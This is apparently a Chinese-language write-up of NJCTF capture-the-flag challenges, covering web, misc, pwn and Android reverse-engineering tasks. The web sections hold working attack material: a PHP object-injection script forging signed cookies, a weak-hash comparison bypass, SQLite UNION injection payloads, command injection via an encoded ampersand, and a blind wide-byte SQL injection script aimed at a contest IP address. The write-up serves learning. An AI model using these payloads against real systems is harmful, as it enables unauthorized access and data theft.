NJCTF writeup

WEB

Login

打开是一个注册与登陆界面,随便注册一个账号然后抓包,发现必须是admin账号才会给flag
这样利用长度截取
NJCTF writeup_第1张图片

用空格空出,超出注册用户名长度,然后后面跟一个1避免被函数消掉,这样我们就成功强行修改admin的密码为自己的密码
这里写图片描述

登陆即得flag

Get Flag

首先按照他所说的输入,会出现图片,并且格式是base64
NJCTF writeup_第2张图片

然后随便输入
NJCTF writeup_第3张图片

解密后发现执行的是cat命令
NJCTF writeup_第4张图片

这样只要构造命令,先查看目录,然后cat就行
发现&是可以绕过,直接%26编码然后一直执行ls命令查找
NJCTF writeup_第5张图片

发现目标

9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag

cat即可
NJCTF writeup_第6张图片

Text wall

首先查找备份文件找到源码


$lists = [];
Class filelist{
    public function __toString()
    {
        return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
    }
}
........
?>

通过抓包,将cookie解码一下,根据长度可知发现前面是sha1加密,后面是反序列化
NJCTF writeup_第7张图片

这是属于PHP Object Injection范围,利用反序列化得到并伪造cookie,构造相同的类型


    Class filelist{
        public function __toString()
        {
            return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
        }
    }

    $a = new filelist();
    $a->source = 'index.php';
    $b= new filelist();
    $b->source=$a;
    $d=serialize($b);
    $e=sha1($d).$d;
    echo urlencode($e)."
"
; ?>

也可以用下面这种写法


    Class filelist{
        public function __toString()
        {
            return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
        }
    }

    $a = [];
    $b= new filelist();
    $b->source = 'index.php';
    $a[]=$b;
    $d=serialize($a);
    $e=sha1($d).$d;
    echo urlencode($e)."
"
; ?>

得到index.php的内容

233333333333333333333333333333333333333333333333333333333333333333 
//The flag is /var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g
$lists = [];
Class filelist{
    public function __toString()
    {
        return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
    }
}
if(isset($_COOKIE['lists'])){
    $cookie = $_COOKIE['lists'];
    $hash = substr($cookie, 0, 40);
    $sha1 = substr($cookie, 40);
    if(sha1($sha1) === $hash){
        $lists = unserialize($sha1);
    }
}
if(isset($_POST['hiehiehie'])){
    $info = $_POST['hiehiehie'];
    $lists[] = $info;
    $sha1 = serialize($lists);
    $hash = sha1($sha1);
    setcookie('lists', $hash.$sha1);
    header('Location: '.$_SERVER['REQUEST_URI']);
    exit;
}
?>

<html>
<head>
  <title>Please Get Flag!!title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="http://apps.bdimg.com/libs/bootstrap/3.3.0/css/bootstrap.min.css">  
  <script src="http://apps.bdimg.com/libs/jquery/2.1.1/jquery.min.js">script>
  <script src="http://apps.bdimg.com/libs/bootstrap/3.3.0/js/bootstrap.min.js">script>
head>
<body>
<div class="container">
    <div class="jumbotron">
        <h1>Please Get Flag!!h1>
    div>
    <div class="row">
         foreach($lists as $info):?>
            <div class="col-sm-4">
              <h3>=$info?>h3>
            div>
         endforeach;?>
    div>
    <form method="post" href=".">
        <input name="hiehiehie" value="hiehiehie">
        <input type="submit" value="submit">
    form>
div>
body>
html>

flag文件已知,同样的构造方法即得flag

NJCTF{PHP_un5erialization_a77ack_i5_very_Interes71ng}

看别人的wp发现一道类似的题
https://losfuzzys.github.io/writeup/2016/10/02/tumctf-web50/

Wallet

由于提示是由源码的,所以疯狂找源码,因为是压缩包形式,用www.zip找到源码,密码是弱口令,猜测是njctf2017得到源码


require_once("db.php");
$auth = 0;
if (isset($_COOKIE["auth"])) {
    $auth = $_COOKIE["auth"];
    $hsh = $_COOKIE["hsh"];
    if ($auth == $hsh) {
        $auth = 0;
    } else if (sha1((string)$hsh) == md5((string)$auth)) {
        $auth = 1;
    } else {
        $auth = 0;
    }
} else {
    $auth = 0;
    $s = $auth;
    setcookie("auth", $s);
    setcookie("hsh", sha1((string)$s));
}
if ($auth) {
    if (isset($_GET['query'])) {
        $db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY);
        $qstr = SQLITE3::escapeString($_GET['query']);
        $query = "SELECT amount FROM my_wallets WHERE id=$qstr";
        $result = $db->querySingle($query);
        if (!$result === NULL) {
            echo "Error - invalid query";
        } else {
            echo "Wallet contains: $result";
        }
    } else {
        echo "Admin PageWelcome to the admin panel!

Wallet ID:
"
; } } else echo "Sorry, not authorized.";

是一个关于sha1((string)$hsh) == md5((string)$auth)的弱类型比较,直接爆破得到0e开头的即可
得到字符串
NJCTF writeup_第8张图片

然后就是一个简单的数字型的sqlite注入
NJCTF writeup_第9张图片

得到表名
NJCTF writeup_第10张图片

得到列名
NJCTF writeup_第11张图片

得到flag
NJCTF writeup_第12张图片

注:补充sqlite的注入方法

1 union select group_concat(tbl_name) from sqlite_master-- 暴表
1 union select sql from sqlite_master where tbl_name="XX" and type="table" -- 爆字段
1 union select group_concat(XXX) from XX--暴内容

Come On

这是一道注入题,随便输可知道过滤了or,and,union,<>
并且注释#需转码成%23
根据别人的提示是宽字节注入,测试一下

http://218.2.197.235:23733/index.php?key=1%df%27||1=1%23 http://218.2.197.235:23733/index.php?key=1%df%27||1=2%23

猜出表名字段名

1%df’ || exists(select(flag)from(flag))%23

上脚本

import requests
flag = ''
for i in range(1,33):
    for j in range(32,127):
        url = "http://218.2.197.235:23733/index.php?key=1%df' ||  if((select(right(left((select(flag)from(flag)),{}),1)))=binary({}),1,0)%23".format(str(i),str(bin(j)))
        s=requests.get(url=url)
        content=s.content
        length=len(content)
        #print length
        if length > 1000 :
            string+=chr(j)
            break
    print flag

NJCTF writeup_第13张图片

MISC

check QQ

直接在QQ群中找

knock

打开后发现了两串密文,第二个打开有点类似于莫尔斯密码,但没有间隔所以只能放弃,将第一个文本中的密文

zjqzhexjzmooqrssaidaiynlebnzjovosltahzjerhorrqxoeironlobdozavoouzjovosqfqsltahmqnqrrjotoerzjohorrqxoebooqydrztyqqojolx

尝试维吉尼亚后无果,然后放进quipquip网站直接解密,发现结果

that might be easy you could find the key from this message i used fence to keep the key away from bad ass here is the message in e e alcs tr laaeh e f g

正好与第二个密文间隔一致,然后可以发现后面是乱的,根据提示,将后面的栅栏一下得到结果
NJCTF writeup_第14张图片

加上NJCTF{}提交成功

easy_crypto

这题坑了我半天,解密代码很快都写出来了,就是因为key找错了,看了一下给的文件,发现
plain.txtcipher.txt字节数一样,这两个就是用来求key值的,然后用求出的key直接对flag.txt解密

#include 
#include 
#include 

int main()
{
    FILE* fp  = fopen("C:/Users/lanlan/Desktop/m2/plain.txt", "rb");
    FILE* fc  = fopen("C:/Users/lanlan/Desktop/m2/cipher.txt", "rb");
    FILE* ff  = fopen("C:/Users/lanlan/Desktop/m2/flag.txt", "rb");

    FILE* output_file = fopen("C:/Users/lanlan/Desktop/m2/F.txt", "wb");
    char a,b,f;
    char key[100];
    int i = 0,t = 0;

    while(((a = fgetc(fp)) != EOF))
    {
        b = fgetc(fc);
        key[i] = ((b - i*i - a + t) ^ t) & 0xff;
        t = a;
        i++;
    }
    char p, c = 0;
    i = 0;
    t = 0;
    while ((p = fgetc(ff)) != EOF)
    {
        c = ( p - i*i - (key[i % strlen(key)] ^ t) + t)&0xff;
        t = c;
        i++;
        fputc(c, output_file);
    }
    return 0;
}

flag:NJCTF{N0w_You90t_Th1sC4s3}

PWN

vsvs

nc过去,发现需要输入一个正确的数字,爆破吧,发现是22
NJCTF writeup_第15张图片

成功进入
发现不管输什么都是回显,尝试进行长度的爆破
NJCTF writeup_第16张图片

发现当我输入1500个1时有返回说文件名过长,且返回了有416长度,得知长度在1024个有漏洞
NJCTF writeup_第17张图片

没有回显啦,尝试执行命令
NJCTF writeup_第18张图片

得到flag文件夹,直接获取发现有问题,无法运行
NJCTF writeup_第19张图片

那尝试一下linux重定向
NJCTF writeup_第20张图片

Mobile by teammate

easycrack

  1. 首先安装apk,简单尝试,但是,安装时发现Android6.0版本的手机都因为SDK版本不够而无法安装,下载了Android7.0的模拟器:
    apk界面:
    NJCTF writeup_第21张图片

在进行输入时,上方会动态显示状态:
NJCTF writeup_第22张图片

同时可以查看DDMS,有日志输出:
NJCTF writeup_第23张图片

尝试到此
2. AndroidKiller以及JEB反编译:
NJCTF writeup_第24张图片

NJCTF writeup_第25张图片

主活动只有一个,Java代码量不大
但是解压缩后发现有so库
先分析Java代码:

public class MainActivity extends AppCompatActivity {
    class CheckText implements TextWatcher {
        CheckText(MainActivity this$0) {
            MainActivity.this = this$0;
            super();
        }

        public void afterTextChanged(Editable s) {
            MainActivity.this.findViewById(2131427416).setText("Status: " + MainActivity.this.parseText(
                    s.toString()));
        }

        public void beforeTextChanged(CharSequence s, int start, int count, int after) {
        }

        public void onTextChanged(CharSequence s, int start, int before, int count) {
        }
    }

    static {
        System.loadLibrary("native-lib");
    }

    public MainActivity() {
        super();
    }

    public String messageMe() {
        String v3 = "";
        int v4 = 51;
        String[] v1 = this.getApplicationContext().getPackageName().split("\\.");
        char[] v6 = v1[v1.length - 1].toCharArray();
        int v7 = v6.length;
        int v5;
        for(v5 = 0; v5 < v7; ++v5) {
            v4 ^= v6[v5];
            v3 += ((char)v4);
        }

        return v3;
    }

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        this.setContentView(2130968603);
        this.findViewById(2131427416).setText(this.stringFromJNI());
        this.findViewById(2131427415).addTextChangedListener(new CheckText(this));
    }

    public native String parseText(String arg1) {
    }

    public native String stringFromJNI() {
    }
}

主要函数:
NJCTF writeup_第26张图片

这里是一个TextWatch,监听文本框的变化并进行状态显示,可以看到关键函数是:

public void afterTextChanged(Editable s) {
            MainActivity.this.findViewById(2131427416).setText("Status: " + MainActivity.this.parseText(s.toString()));
        }

对文本框的判断函数:

public native String parseText(String arg1) {

}

是Native,必须分析so文件

这里还要注意,初始化了一个字符串:
NJCTF writeup_第27张图片

开始还以为这就是输入
将程序改为Java代码直接得到结果:
NJCTF writeup_第28张图片

这里写图片描述

字符串:V7D=^,M.E

后面发现会用到

  1. 分析so文件:
    把so放入IDA反编译的时候,发现不同平台so文件反编译出的函数差别比较大,用
    这里写图片描述

反编译出的函数中,有分析字符串的函数parseText,另外几个so函数中没有找到,但肯定也有
这里写图片描述

NJCTF writeup_第29张图片

分析发现主要有以下关键点:
首先获取两个字符串:

  • str1
    NJCTF writeup_第30张图片

得到的即是前面算到的messageMe字符串:V7D=^,M.E

  • str2
    这里写图片描述

这个是输入的字符串

  1. 对输入字符串及V7D=^,M.E进行循环异或(即异或到第9位再返回V7D=^,M.E,继续异或),但是暂时不知道输入字符串的长度
    NJCTF writeup_第31张图片

  2. 从后往前看,想要输出success,要与compare比较通过
    NJCTF writeup_第32张图片

compare:
这里写图片描述

向前找v27:
NJCTF writeup_第33张图片

这里是将字符的十六进制形式转换为字符串,对比compare,可以知道加密后的最终字符串的十六进制格式:
0xC8,0xE4,0xEF,0x0E,0x4D,0xCC,0xA6,0x83,0x08,0x81,0x34,0xF8,0x63,0x5E,0x97,0x0E,0xEA,0xD9,0xE2,0x77,0xF3,0x14,0x86,0x9F,0x7E,0xF5,0x19,0x8A,0x2A,0xA4

  1. 继续向前分析,发现两个关键函数:
    NJCTF writeup_第34张图片

分别是初始化与加密
还要注意前面的I_am_the_key,为初始化时传入的字符串

7.init函数
NJCTF writeup_第35张图片

这个函数首先生成了一个长度为的字符串数组, 首先循环存储了I_am_the_key(这里开始不知道v6是怎么变化的,两种可能:一直为定值,由0~11循环,尝试以后发现是第二种情况)
生成后进行了位置交换,没有仔细研究规则。
编写函数得到初始化的结果:

#include
int main()
{
    int v3 = 256;
    int v4 = 0;
    int v5 = 0;
    int v6 = 0;//开始不知道v6如何变化 
    unsigned __int8 v11[14] = "I_am_the_key";
    unsigned __int8 v13[256];
    char *v7;
    unsigned __int8 *v8;
    int v9;
    char v14[256];
    do
    {
        v13[v5] = v5;
        v7 = v14;
        v14[v5++] = v11[v6];
        v6++;
        v6=v6%12;
    }
    while ( v5 != 256 );
    v8 = v13;
    do
    {
        v9 = *v8;
        v4 = (v9 + v4 + (unsigned __int8)*v7) % 256;
        *v8 = v13[v4];
        v13[v4] = v9;
        --v3;
        ++v7;
        ++v8;
    }
    while ( v3 );
    for(int i=0;i<256;i++)
    {
        printf("0x%x,",v13[i]);
    }
    return 0;
}

NJCTF writeup_第36张图片

  1. crypt函数
    NJCTF writeup_第37张图片

这个函数不是很复杂,得到的结果是最后的加密字符串,利用compare解密得到中间字符串:

#include
int main()
{
    int a3 = 30;
    int v3 = 0;
    int v4 = 0;
    int v5;
    int i = 0;
    unsigned __int8 a2[32] = {0xC8,0xE4,0xEF,0x0E,0x4D,0xCC,0xA6,0x83,0x08,0x81,0x34,0xF8,0x63,0x5E,0x97,0x0E,0xEA,0xD9,0xE2,0x77,0xF3,0x14,0x86,0x9F,0x7E,0xF5,0x19,0x8A,0x2A,0xA4};
    unsigned __int8 result[256] = {0x39,0xa9,0x72,0x2d,0xe8,0x58,0x26,0x32,0x81,0xd,0xac,0x49,0xbb,0x10,0x46,0x65,0xb3,0x92,0xf,0x84,0xb8,0xbf,0xf2,0x52,0xe3,0x5b,0xfc,0xd5,0x59,0x6a,0xf0,0x5d,0x60,0x69,0x16,0x8e,0xfb,0x94,0x48,0xbc,0x71,0x36,0x57,0xad,0x44,0x7c,0x95,0xda,0xb7,0x47,0xdb,0x35,0x3c,0xd2,0x23,0xc5,0xa8,0xb,0x9f,0x31,0xd8,0x1f,0x3f,0xb0,0x2e,0xe1,0x5a,0x4a,0xf9,0x1,0x54,0xa7,0xa5,0xee,0x8,0x99,0x63,0x9b,0x50,0xbd,0x5,0xf7,0xcb,0xab,0x22,0xc2,0x8a,0x38,0x7d,0x6,0xb1,0xc0,0x4e,0x74,0x3a,0xe5,0x67,0x2b,0xa3,0x73,0x89,0x9e,0xba,0x88,0x3d,0x28,0x62,0x8f,0xfd,0x43,0x98,0x4d,0x56,0xb2,0xc,0x29,0x6e,0x78,0x25,0xe0,0xe9,0xf6,0x9c,0x13,0xed,0xf8,0xc4,0x20,0x87,0x2,0x7b,0xf1,0x6d,0xc7,0x8c,0x9d,0x86,0x3b,0x66,0xfa,0xb6,0x42,0x6f,0x14,0xd0,0x19,0xaf,0x11,0x21,0x96,0x85,0x91,0xb5,0xa0,0x1b,0x18,0xa6,0xa2,0x4b,0x40,0xd4,0x8d,0x2a,0x8b,0x5c,0x2c,0xe6,0xfe,0xa4,0x30,0xe7,0xff,0xc8,0x5f,0xe2,0x1c,0xdf,0xae,0x7f,0xc3,0x61,0xef,0x90,0x6c,0x51,0x2f,0xec,0x12,0x7a,0xaa,0xdd,0x77,0xf5,0x4,0xd9,0x83,0x33,0xeb,0x80,0x27,0x3,0xb4,0x9,0x37,0x6b,0x41,0x4f,0x7e,0xf3,0x24,0xf4,0xc9,0x7,0xd1,0x45,0x70,0xa1,0xd7,0x34,0x93,0x15,0xca,0x4c,0xcd,0x97,0xb9,0xea,0x0,0x5e,0x1a,0x9a,0xcf,0x79,0xa,0x3e,0x82,0xd3,0x68,0x75,0x64,0xce,0x55,0xe,0xbe,0x1d,0xe4,0xc1,0xc6,0xde,0xcc,0x1e,0x17,0xd6,0xdc,0x53,0x76};
    do
    {
      v3 = (v3 + 1) % 256;
      v5 = *(unsigned __int8 *)(result + v3);
      v4 = (v5 + v4) % 256;
      *(unsigned __int8 *)(result + v3) = *(unsigned __int8 *)(result + v4);
      *(unsigned __int8 *)(result + v4) = v5;
      a2[i] ^= *(unsigned __int8 *)(result + ((*(unsigned __int8 *)(result + v3) + v5) & 0xFF));
      --a3;
      ++i;
    }
    while ( a3 );
    for(i=0;i<30;i++)
    {
        printf("0x%x,",a2[i]);
    }


    return 0;
}

结果:
这里写图片描述
此即是开始循环异或后的字符串

  1. 去除循环异或
#include
int main()
{
    int v10 = 30;
    int v11 = 9;
    int v12;
    int v27 = 0;
    int v13;

    unsigned __int8 v25[30];
    unsigned __int8 v24[32] = {0x1f,0x43,0x1b,0x4e,0x1,0x4d,0x12,0x4b,0x24,0x25,0x4e,0x7,0x4f,0x3f,0x4f,0x26,0x71,0x23,0x39,0x45,0x1b,0x5f,0x3b,0x4b,0x24,0x40,0x2b,0x33,0x45,0x37};
    char s[11]= "V7D=^,M.E";
    if ( v10 )
    {
      do
      {
        if ( v11 )
        {
          v12 = 0;
          do
          {
            *(&v25[v27] + v12) = s[v12] ^ *(&v24[v27] + v12);
            v13 = v27 + v12++ + 1;
          }
          while ( v12 < v11 && v13 < v10 );
        }
        v27 += v11;
      }
      while ( v27 < v10 );

    }
    for(int i=0;i<30;i++)
    {
        printf("%c",v25[i]);
    }          
    return 0;
}

结果:
NJCTF writeup_第38张图片

flag:It_s_a_easyCrack_for_beginners

safeBox

tips:Don't believe what you saw.
The flag's format is NJCTF{xxx} and xxx only include [a-z][A-Z][0-9].

解压apk发现没有so文件
直接放入JEB:
1. 代码并不复杂,开始直接看了MainActivity:
NJCTF writeup_第39张图片
发现是一个8位回文数,并且限制比较具体,得到48533584,得到结果:
NJCTF{05#f4n}明显不符合题目要求,虽然在手机上安装测试成功了,但是,提交提示错误。
2. 这才注意到另一个类androidTest
非常像,但细节不同:
NJCTF writeup_第40张图片

这个不限制中间两位必须相等,而且后面有+10,此时得到4853958448533584,按新规则得到结果NJCTF{have05if4n}(此时用的是48539584),提交正确。
这才想到题目的提示, 不要相信看到的
flag:NJCTF{have05if4n}

LittleRotatorGame

tips:keep the screen green and rotate, you will get the flag.
The flag's format is njctf{xxx} and xxx only include [a-z][A-Z][0-9].

这是一个完全由C语言编写的APP,或者叫Native Android

据说要去除控制流平坦化导致的混淆,据说爆破flg函数可以得到答案:
NJCTF writeup_第41张图片

NJCTF writeup_第42张图片

是不是可以用符号化执行工具angr,还不会这个题。

flag:PvrNa7iv3Al1

你可能感兴趣的:(WriteUp)